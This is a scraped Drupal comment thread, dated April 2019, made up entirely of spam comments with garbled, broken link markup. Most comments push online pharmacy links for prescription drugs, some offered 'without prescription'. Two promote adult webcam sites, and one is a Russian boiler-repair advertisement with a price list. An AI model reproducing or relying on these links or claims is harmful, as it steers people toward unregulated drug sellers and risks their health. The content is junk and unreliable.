https://portfoliomedic.co.uk/">amoxicillin
</a>
antibiotic</a> <a href="
<a href='https://chlogistics.com.au/">generic'>
https://chlogistics.com.au/">generic
</a>
prozac cost</a> <a href="
<a href='https://aathmaconcepts.com/">citalopram'>
https://aathmaconcepts.com/">citalopram
</a>
depression</a> <a href="
<a href='https://bestrealestateagentcomo.com/">motilium</a>'>
https://bestrealestateagentcomo.com/">motilium</a>
</a>
<a href="
<a href='https://elixirulbarbatilor.online/">aldactone</a>'>
https://elixirulbarbatilor.online/">aldactone</a>
</a>
<a href="
<a href='https://genderagency.org/">prozac'>
https://genderagency.org/">prozac
</a>
for sale</a> <a href="
<a href='https://bzone.link/">trazodone</a>'>
https://bzone.link/">trazodone</a>
</a>
<a href="
<a href='https://gameslivefootball.de/">where'>
https://gameslivefootball.de/">where
</a>
to buy colchicine</a> <a href="
<a href='https://goldenknightsvssharks.de/">tadalafil'>
https://goldenknightsvssharks.de/">tadalafil
</a>
prices</a> <a href="
<a href='https://1stbravocompany.com/">levitra</a>'>
https://1stbravocompany.com/">levitra</a>
</a>
<a href="
<a href='https://chargeit.org.uk/">bupropion'>
https://chargeit.org.uk/">bupropion
</a>
prices</a> <a href="
<a href='https://craniumcoffee.org/">advair</a>'>
https://craniumcoffee.org/">advair</a>
</a>
<a href="
<a href='https://fantasticshoping.co.uk/">zithromax</a>'>
https://fantasticshoping.co.uk/">zithromax</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/154">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-168">
</a>
<div about="/comment/168#comment-168" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
SueKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T06:15:20+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 06:15
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/168#comment-168" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/168#comment-168" rel="bookmark">
ztwnkrkh
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://buylasixfurosemide.com/">buy'>
https://buylasixfurosemide.com/">buy
</a>
lasix</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/168">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-181">
</a>
<div about="/comment/181#comment-181" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Free Live Sex Chats (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T06:23:55+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 06:23
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/181#comment-181" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/181#comment-181" rel="bookmark">
zbcrkamj
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='http://freeliveporn.icu/">free'>
http://freeliveporn.icu/">free
</a>
live cam</a> <a href="
<a href='http://videosexchat.fun/">video'>
http://videosexchat.fun/">video
</a>
sex chat</a> <a href="
<a href='http://freesexwebcam.stream/">free'>
http://freesexwebcam.stream/">free
</a>
sex webcam</a> <a href="
<a href='http://webcamamateur.site/">webcam'>
http://webcamamateur.site/">webcam
</a>
amateur</a> <a href="
<a href='http://interactiveporn.ml/">free'>
http://interactiveporn.ml/">free
</a>
interactive porn</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/181">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-183">
</a>
<div about="/comment/183#comment-183" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
inwavy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T06:24:32+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 06:24
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/183#comment-183" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/183#comment-183" rel="bookmark">
iozi
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://brichetedinpaie.ro/">cephalexin'>
https://brichetedinpaie.ro/">cephalexin
</a>
pills</a> <a href="
<a href='https://atsymboldesigns.com/">online'>
https://atsymboldesigns.com/">online
</a>
cipro</a> <a href="
<a href='https://aeroponicstv.com/">tretinoin'>
https://aeroponicstv.com/">tretinoin
</a>
online</a> <a href="
<a href='https://deporcelana.net/">estrace'>
https://deporcelana.net/">estrace
</a>
1 mg</a> <a href="
<a href='https://journalofrenalandhepaticdisorders.net/">cheap'>
https://journalofrenalandhepaticdisorders.net/">cheap
</a>
cafergot</a> <a href="
<a href='https://companypsychology.com/">celebrex</a>'>
https://companypsychology.com/">celebrex</a>
</a>
<a href="
<a href='https://indexlondon.com/">where'>
https://indexlondon.com/">where
</a>
to buy albendazole</a> <a href="
<a href='https://itsmaya.co/">cipro'>
https://itsmaya.co/">cipro
</a>
iv</a> <a href="
<a href='https://2018onlinespel.net/">phenergan'>
https://2018onlinespel.net/">phenergan
</a>
drug</a> <a href="
<a href='https://catsfood.ir/">cleocin</a>'>
https://catsfood.ir/">cleocin</a>
</a>
<a href="
<a href='https://carterridge.net/">prozac'>
https://carterridge.net/">prozac
</a>
fluoxetine</a> <a href="
<a href='https://fastcopy.us/">xenical</a>'>
https://fastcopy.us/">xenical</a>
</a>
<a href="
<a href='https://bahamsazim.com/">flagyl</a>'>
https://bahamsazim.com/">flagyl</a>
</a>
<a href="
<a href='https://realmrpg.com/">prednisone'>
https://realmrpg.com/">prednisone
</a>
without precription</a> <a href="
<a href='https://gcgrp.us/">vpxl'>
https://gcgrp.us/">vpxl
</a>
online</a> <a href="
<a href='https://ecommerceextenders.org/">paxil'>
https://ecommerceextenders.org/">paxil
</a>
generic</a> <a href="
<a href='https://dateapper.com/">medrol</a>'>
https://dateapper.com/">medrol</a>
</a>
<a href="
<a href='https://154locucionytextos.com/">vasotec'>
https://154locucionytextos.com/">vasotec
</a>
for dogs</a> <a href="
<a href='https://coinmarketking.io/">generic'>
https://coinmarketking.io/">generic
</a>
for toprol xl</a> <a href="
<a href='https://argun.cl/">stromectol</a>'>
https://argun.cl/">stromectol</a>
</a>
<a href="
<a href='https://buysellrentranchi.com/">metformin'>
https://buysellrentranchi.com/">metformin
</a>
with no prescription</a> <a href="
<a href='https://displacement.info/">disulfiram'>
https://displacement.info/">disulfiram
</a>
antabuse</a> <a href="
<a href='https://2017onlinespel.online/">proscar'>
https://2017onlinespel.online/">proscar
</a>
hair</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/183">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-233">
</a>
<div about="/comment/233#comment-233" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Ambime (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T06:43:36+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 06:43
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/233#comment-233" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/233#comment-233" rel="bookmark">
kiiy
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://fastrunnow.com/">motilium'>
https://fastrunnow.com/">motilium
</a>
canada</a> <a href="
<a href='https://ifurnishshop.com/">acyclovir</a>'>
https://ifurnishshop.com/">acyclovir</a>
</a>
<a href="
<a href='https://anonymous.cat/">robaxin'>
https://anonymous.cat/">robaxin
</a>
drug</a> <a href="
<a href='https://999fabrics.co.uk/">tadacip'>
https://999fabrics.co.uk/">tadacip
</a>
cipla</a> <a href="
<a href='https://bestdoctorsunitedstates.com/">cephalexin'>
https://bestdoctorsunitedstates.com/">cephalexin
</a>
cost</a> <a href="
<a href='https://careerandpersonality.net/">furosemide'>
https://careerandpersonality.net/">furosemide
</a>
price</a> <a href="
<a href='https://commonbrands.com/">deltasone</a>'>
https://commonbrands.com/">deltasone</a>
</a>
<a href="
<a href='https://cannabiscup.cc/">ordering'>
https://cannabiscup.cc/">ordering
</a>
cafegot</a> <a href="
<a href='https://ayoncorp.com/">stromectol'>
https://ayoncorp.com/">stromectol
</a>
3mg</a> <a href="
<a href='https://felezyabiran.ir/">cheap'>
https://felezyabiran.ir/">cheap
</a>
viagra soft tabs</a> <a href="
<a href='https://girlsqatar.com/">buy'>
https://girlsqatar.com/">buy
</a>
antabuse</a> <a href="
<a href='https://cricfab.co.uk/">buy'>
https://cricfab.co.uk/">buy
</a>
moduretic</a> <a href="
<a href='https://dariolandazuri.com/">buy'>
https://dariolandazuri.com/">buy
</a>
bupropion</a> <a href="
<a href='https://boxandplatform.com/">generic'>
https://boxandplatform.com/">generic
</a>
erythromycin</a> <a href="
<a href='https://myrealfollowers.com/">nolvadex'>
https://myrealfollowers.com/">nolvadex
</a>
prices</a> <a href="
<a href='https://appzenbody.us/">atarax'>
https://appzenbody.us/">atarax
</a>
generic</a> <a href="
<a href='https://global-industry-veterans-elite.net/">ampicillin</a>'>
https://global-industry-veterans-elite.net/">ampicillin</a>
</a>
<a href="
<a href='https://basementwaterproofingexpertsmi.net/">generic'>
https://basementwaterproofingexpertsmi.net/">generic
</a>
for prozac</a> <a href="
<a href='https://funlang.net/">buy'>
https://funlang.net/">buy
</a>
oral flagyl antibiotic</a> <a href="
<a href='https://buildmyrealestatecareer.com/">indocin</a>'>
https://buildmyrealestatecareer.com/">indocin</a>
</a>
<a href="
<a href='https://americangoat.org/">buy'>
https://americangoat.org/">buy
</a>
motilium</a> <a href="
<a href='https://besmartkids.org/">propranolol'>
https://besmartkids.org/">propranolol
</a>
buy</a> <a href="
<a href='https://createanewlifenowbusinesscard.com/">buy'>
https://createanewlifenowbusinesscard.com/">buy
</a>
online diflucan</a> <a href="
<a href='https://applewell.xyz/">fluoxetine'>
https://applewell.xyz/">fluoxetine
</a>
10 mg</a> <a href="
<a href='https://buypensionerbonds.co.uk/">acyclovir</a>'>
https://buypensionerbonds.co.uk/">acyclovir</a>
</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/233">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-252">
</a>
<div about="/comment/252#comment-252" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
EvaKix (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T06:56:13+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 06:56
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/252#comment-252" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/252#comment-252" rel="bookmark">
tcnhzexd
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://acyclovir1.com/">zovirax'>
https://acyclovir1.com/">zovirax
</a>
pills</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/252">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-258">
</a>
<div about="/comment/258#comment-258" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
LeonPrinut (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:00:45+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:00
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/258#comment-258" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/258#comment-258" rel="bookmark">
Монтаж систем отопления разных в Липецке и области.
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
Ремонт всех систем отопления в Липецке и области.
<br/>
Ремонт газовых котлов в Липецке
<br/>
Профессиональный ремонтгазовых котловв Липецке и Липецкой области. Мыиспользуем свой большой опыти современное оборудование для того чтобы отремонтировать ваш газовый котел. Наша главная отличительная черта что мы работаем на результат и отвечаем за качество проделанных работ пред каждым своим клиентом, минимальная гарантия на проделанные работы от 6 месяцев.
<br/>
Мы работаем с кассовым аппаратом и выдаем чек и акт на выполненные работы на месте у заказчика.
<br/>
Для Вашего удобства мы подключили телефон 8(4742)527-002, по которому вы можете бесплатно для Вас позвонить и получить консультацию специалиста. В нашем штате сотрудников нет диспетчеров, на все интересующие Вас вопросы ответит опытный специалист. В предварительнойконсультациипо телефону мы уточниммодель и марку котла, зададим несколько вопросов об основныхпризнаках(проявлениях)неисправности для того чтобы взять необходимые запчасти(комплектующие) и по возможности отремонтировать за одинприезд.
<br/>
Экономим Ваше время и деньги.
</p>
<p>
Сервисный центр ГАЗлайф -динамично развивающаяся Липецкаякомпания, у нас собственный склад запасных частей и современное оборудование для точной диагностики неисправности и ее устранения.
</p>
<p>
Мы обладаем всеми необходимыми удостоверениями, допусками и лицензиями и готовы предоставить их по первому требованию клиента!
</p>
<p>
3 основных правила нашей компании :
</p>
<p>
1) "Бесплатный сыр только в мышеловке " - выезд специалиста по Липецку 350р. по Липецкой области +20 р/км
</p>
<p>
2) Мы не ремонтируем котлы "методом тыка" , под замену идут только неисправные детали
</p>
<p>
3) Мы работаем со своими клиентами напрямую"без посредников" Подробнее:
<br/>
<a href=Монтаж систем отопления>
<a href="https://vk.com/otoplenievodosnabgenie</a>">
https://vk.com/otoplenievodosnabgenie</a>
</a>
<br/>
<a href=Ремонт газовых котлов>
<a href="https://gazlife48.ru/p377087092-remont-kotlov-otopleniya.html</a>">
https://gazlife48.ru/p377087092-remont-kotlov-otopleniya.html</a>
</a>
<br/>
<a href=Ремонт котлов отопления>
<a href="https://gazlife48.ru/p377087092-remont-kotlov-otopleniya.html</a>">
https://gazlife48.ru/p377087092-remont-kotlov-otopleniya.html</a>
</a>
<br/>
<a href=Монтаж систем отопления>
<a href="https://gazlife48.ru/p377087092-remont-kotlov-otopleniya.html</a>">
https://gazlife48.ru/p377087092-remont-kotlov-otopleniya.html</a>
</a>
<br/>
<a href=Ремонт газовых котлов>
<a href="https://gazlife48.ru/p376732378-montazh-vodyanyh-teplyh.html</a>">
https://gazlife48.ru/p376732378-montazh-vodyanyh-teplyh.html</a>
</a>
<br/>
<a href=Ремонт котлов отопления>
<a href="https://gazlife48.ru/p376732378-montazh-vodyanyh-teplyh.html</a>">
https://gazlife48.ru/p376732378-montazh-vodyanyh-teplyh.html</a>
</a>
<br/>
<a href=Монтаж систем отопления>
<a href="https://gazlife48.ru/p376732378-montazh-vodyanyh-teplyh.html</a>">
https://gazlife48.ru/p376732378-montazh-vodyanyh-teplyh.html</a>
</a>
<br/>
<a href=Ремонт газовых котлов>
<a href="http://www.gazmasterpro48.ru/tovary/k-10641665-remont_gazovykh_kotlov</a>">
http://www.gazmasterpro48.ru/tovary/k-10641665-remont_gazovykh_kotlov</a>
</a>
<br/>
<a href=Ремонт котлов отопления>
<a href="http://www.gazmasterpro48.ru/tovary/k-10641665-remont_gazovykh_kotlov</a>">
http://www.gazmasterpro48.ru/tovary/k-10641665-remont_gazovykh_kotlov</a>
</a>
<br/>
<a href=Монтаж систем отопления>
<a href="http://www.gazmasterpro48.ru/tovary/k-10641665-remont_gazovykh_kotlov</a>">
http://www.gazmasterpro48.ru/tovary/k-10641665-remont_gazovykh_kotlov</a>
</a>
<br/>
<a href=Ремонт газовых котлов>
<a href="http://www.gazmasterpro48.ru/tovary/k-10672342-proyektirovaniye_i_montazh_sistem_otopleniya</a>">
http://www.gazmasterpro48.ru/tovary/k-10672342-proyektirovaniye_i_montaz...
</a>
<br/>
<a href=Ремонт котлов отопления>
<a href="http://www.gazmasterpro48.ru/tovary/k-10672342-proyektirovaniye_i_montazh_sistem_otopleniya</a>">
http://www.gazmasterpro48.ru/tovary/k-10672342-proyektirovaniye_i_montaz...
</a>
<br/>
<a href=Монтаж систем отопления>
<a href="http://www.gazmasterpro48.ru/tovary/k-10672342-proyektirovaniye_i_montazh_sistem_otopleniya</a>">
http://www.gazmasterpro48.ru/tovary/k-10672342-proyektirovaniye_i_montaz...
</a>
<br/>
<a href=Ремонт газовых котлов>
<a href="https://www.instagram.com/systemy_otopleniya_v_lipetske/</a>">
https://www.instagram.com/systemy_otopleniya_v_lipetske/</a>
</a>
<br/>
<a href=Ремонт котлов отопления>
<a href="https://www.instagram.com/systemy_otopleniya_v_lipetske/</a>">
https://www.instagram.com/systemy_otopleniya_v_lipetske/</a>
</a>
<br/>
<a href=Монтаж систем отопления>
<a href="https://www.instagram.com/systemy_otopleniya_v_lipetske/</a>">
https://www.instagram.com/systemy_otopleniya_v_lipetske/</a>
</a>
<br/>
<a href=Ремонт газовых котлов>
<a href="https://youtu.be/zywOQaCzVqs</a>">
https://youtu.be/zywOQaCzVqs</a>
</a>
<br/>
<a href=Ремонт котлов отопления>
<a href="https://youtu.be/zywOQaCzVqs</a>">
https://youtu.be/zywOQaCzVqs</a>
</a>
<br/>
<a href=Монтаж систем отопления>
<a href="https://youtu.be/zywOQaCzVqs</a>">
https://youtu.be/zywOQaCzVqs</a>
</a>
</p>
<p>
Техническое обслуживание настенного котла 2500
<br/>
Стоимость ТО в пределах города
<br/>
Диагностика 350 1000
<br/>
стоимость диагностики в пределах города
<br/>
Выезд по г. Липецк 350
<br/>
Выезд за пределы г. Липецк 20
<br/>
За 1 км пути в одну сторону
<br/>
Замена датчика температуры 250 1750
<br/>
Замена трансформатора 250 900
<br/>
Замена манометра 150 1000
<br/>
Замена аварийного клапана 450 1500
<br/>
Замена электронного модуля 500 2000
<br/>
Замена патрубка подачи(обратки) котла 350 2000
<br/>
Замена мембранного бака 700 1700
<br/>
Ремонт сбросного клапана 350 700
<br/>
Замена пьезоэлемента 150 450
<br/>
Замена вентилятора 500 1400
<br/>
Замена реле давления 500 1000
<br/>
Замена газовой арматуры 700 1900
<br/>
с регулировкой давления газа
<br/>
Электронным манометром
<br/>
Замена датчика тяги 150 750
<br/>
Замена пресостата воздуха 450 950
<br/>
Замена устройсва Вентури 600 1300
<br/>
Замена датчика протока 1000 2500
<br/>
Замена комнатного термостата (пульта управления) 500 1500
<br/>
Замена воздухоотводчика 250 1250
<br/>
Установка и подключение стабилизатора 250 500
<br/>
Чистка вентилятора 950 1450
<br/>
Замена горелки в настенном котле 1200 1500
<br/>
Настройка газового клапана 1200
<br/>
Замена настенного котла
<br/>
(демонтаж и монтаж) 5000 10000
<br/>
Ремонт газовых колонок (ВПГ)
<br/>
Выезд по г. Липецк 350
<br/>
Выезд за пределы г. Липецк 20 р. за 1 км пути в одну сторону
<br/>
Диагностика газовой колонки 350
<br/>
Замена датчиков 150 450
<br/>
Замена мембраны водяного узла 350 1200
<br/>
Замена аварийного термостата 250
<br/>
Замена датчика тяги 250
<br/>
Замена водяного узла( в сборе) 500 1200
<br/>
Замена газового узла 500 1200
<br/>
Замена водяного и газового узла 1200
<br/>
Замена теплообменника 900 1500
<br/>
Ремонт АОГВ
<br/>
Диагностика 350 1000
<br/>
стоимость диагностики в пределах города
<br/>
Выезд по г. Липецк 350
<br/>
Выезд за пределы г. Липецк 20
<br/>
За 1 км пути в одну сторону
<br/>
Настройка запальника 500
<br/>
Замена автоматики 1000 2300
<br/>
Замена датчика тяги 250
<br/>
Замена аварийного термостата 250
<br/>
Замена запальника
<br/>
(пилотной горелки) 400 950
<br/>
Замена термопары 250 500
<br/>
Комплексная чистка 1000 2500
<br/>
Ремонт напольных котлов Protherm и Baxi
<br/>
Техническое обслуживание напольного котла 3500
<br/>
Стоимость ТО в пределах города
<br/>
Диагностика 350 1000
<br/>
стоимость диагностики в пределах города
<br/>
Выезд по г. Липецк 350
<br/>
Выезд за пределы г. Липецк 20
<br/>
За 1 км пути в одну сторону
<br/>
Замена датчика температуры 250 1750
<br/>
Замена трансформатора розжига 250 900
<br/>
Замена манометра 150 1000
<br/>
Замена аварийного клапана 450 1500
<br/>
Замена электронного модуля 500 2000
<br/>
Замена мембранного бака 700 1700
<br/>
Ремонт сбросного клапана 350 700
<br/>
Замена пьезоэлемента 150 450
<br/>
Замена реле давления 500 1000
<br/>
Замена газовой арматуры 700 1900
<br/>
с регулировкой давления газа
<br/>
Электронным манометром
<br/>
Замена датчика тяги 150 750
<br/>
Замена комнатного термостата (пульта управления) 500 1500
<br/>
Замена воздухоотводчика 250 1250
<br/>
Установка и подключение стабилизатора 250 500
<br/>
Замена горелки в напольном котле 1400 1900
<br/>
Настройка газового клапана 1200
<br/>
Установка Турбонаставки 1800 Подробнее:
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/258">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-267">
</a>
<div about="/comment/267#comment-267" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
Webcam Pussy (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:03:42+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:03
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/267#comment-267" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/267#comment-267" rel="bookmark">
dlwrciuv
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://camsites.site/">cam'>
https://camsites.site/">cam
</a>
sites</a> <a href="
<a href='https://freewebcamchat.stream/">free'>
https://freewebcamchat.stream/">free
</a>
webcam chat</a> <a href="
<a href='https://interactivesex.cf/">chat'>
https://interactivesex.cf/">chat
</a>
sex</a> <a href="
<a href='https://maturewebcam.fun/">mature'>
https://maturewebcam.fun/">mature
</a>
webcam</a> <a href="
<a href='https://chatporn.site/">chat'>
https://chatporn.site/">chat
</a>
porn</a> <a href="
<a href='https://camsites.fun/">bbw'>
https://camsites.fun/">bbw
</a>
cam</a> <a href="
<a href='https://freeonlinesex.icu/">freechat</a>'>
https://freeonlinesex.icu/">freechat</a>
</a>
<a href="
<a href='https://adultchatroom.ga/">free'>
https://adultchatroom.ga/">free
</a>
chatlines</a> <a href="
<a href='https://adultwebcams.icu/">pussy'>
https://adultwebcams.icu/">pussy
</a>
webcam</a> <a href="
<a href='https://freechatrooms.icu/">sex'>
https://freechatrooms.icu/">sex
</a>
chat rooms</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/267">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-269">
</a>
<div about="/comment/269#comment-269" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
AnnaHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:04:22+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:04
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/269#comment-269" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/269#comment-269" rel="bookmark">
ukngovro
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='https://valtrex500mg.com/">buy'>
https://valtrex500mg.com/">buy
</a>
valtrex</a> <a href="
<a href='https://prednisolone911.com/">buy'>
https://prednisolone911.com/">buy
</a>
prednisolone</a> <a href="
<a href='https://amoxicillin911.com/">amoxicillin'>
https://amoxicillin911.com/">amoxicillin
</a>
500 mg</a> <a href="
<a href='https://doxycycline2.com/">doxycycline'>
https://doxycycline2.com/">doxycycline
</a>
50 mg</a> <a href="
<a href='https://tadalafil20tab.com/">tadalafil'>
https://tadalafil20tab.com/">tadalafil
</a>
10 mg</a> <a href="
<a href='https://buypropeciafinasteride.com/">buy'>
https://buypropeciafinasteride.com/">buy
</a>
propecia</a> <a href="
<a href='https://viagrasoftonline.com/">viagra'>
https://viagrasoftonline.com/">viagra
</a>
soft buy</a> <a href="
<a href='https://stromectolonline.com/">stromectol</a>'>
https://stromectolonline.com/">stromectol</a>
</a>
<a href="
<a href='https://albuterol24.com/">albuterol'>
https://albuterol24.com/">albuterol
</a>
medication</a> <a href="
<a href='https://tadalafilgeneric20.com/">tadalafil'>
https://tadalafilgeneric20.com/">tadalafil
</a>
generic cialis</a>
</p>
</div>
</div>
</div>
</div>
<!-- /.content -->
<ul class="links inline">
<li class="comment-reply first last">
<a href="/comment/reply/376/269">
回复
</a>
</li>
</ul>
</div>
<!-- /.comment-text -->
</div>
<a id="comment-280">
</a>
<div about="/comment/280#comment-280" class="comment comment-by-anonymous clearfix" typeof="sioc:Post sioct:Comment">
<div class="attribution">
<div class="comment-submitted">
<p class="commenter-name">
<span rel="sioc:has_creator">
<span class="username" datatype="" property="foaf:name" typeof="sioc:UserAccount" xml:lang="">
EyeHag (未验证)
</span>
</span>
</p>
<p class="comment-time">
<span content="2019-04-22T07:10:26+02:00" datatype="xsd:dateTime" property="dc:date dc:created">
星期一, 04/22/2019 - 07:10
</span>
</p>
<p class="comment-permalink">
<a class="permalink" href="/comment/280#comment-280" rel="bookmark">
永久连接
</a>
</p>
</div>
</div>
<div class="comment-text">
<div class="comment-arrow">
</div>
<h3 datatype="" property="dc:title">
<a class="permalink" href="/comment/280#comment-280" rel="bookmark">
cltnexnb
</a>
</h3>
<div class="content">
<span class="rdf-meta element-hidden" rel="sioc:reply_of" resource="/article/376">
</span>
<div class="field field-name-comment-body field-type-text-long field-label-hidden">
<div class="field-items">
<div class="field-item even" property="content:encoded">
<p>
<a href="
<a href='http://synthroid75.com/">synthroid'>
http://synthroid75.com/">synthroid
</a>
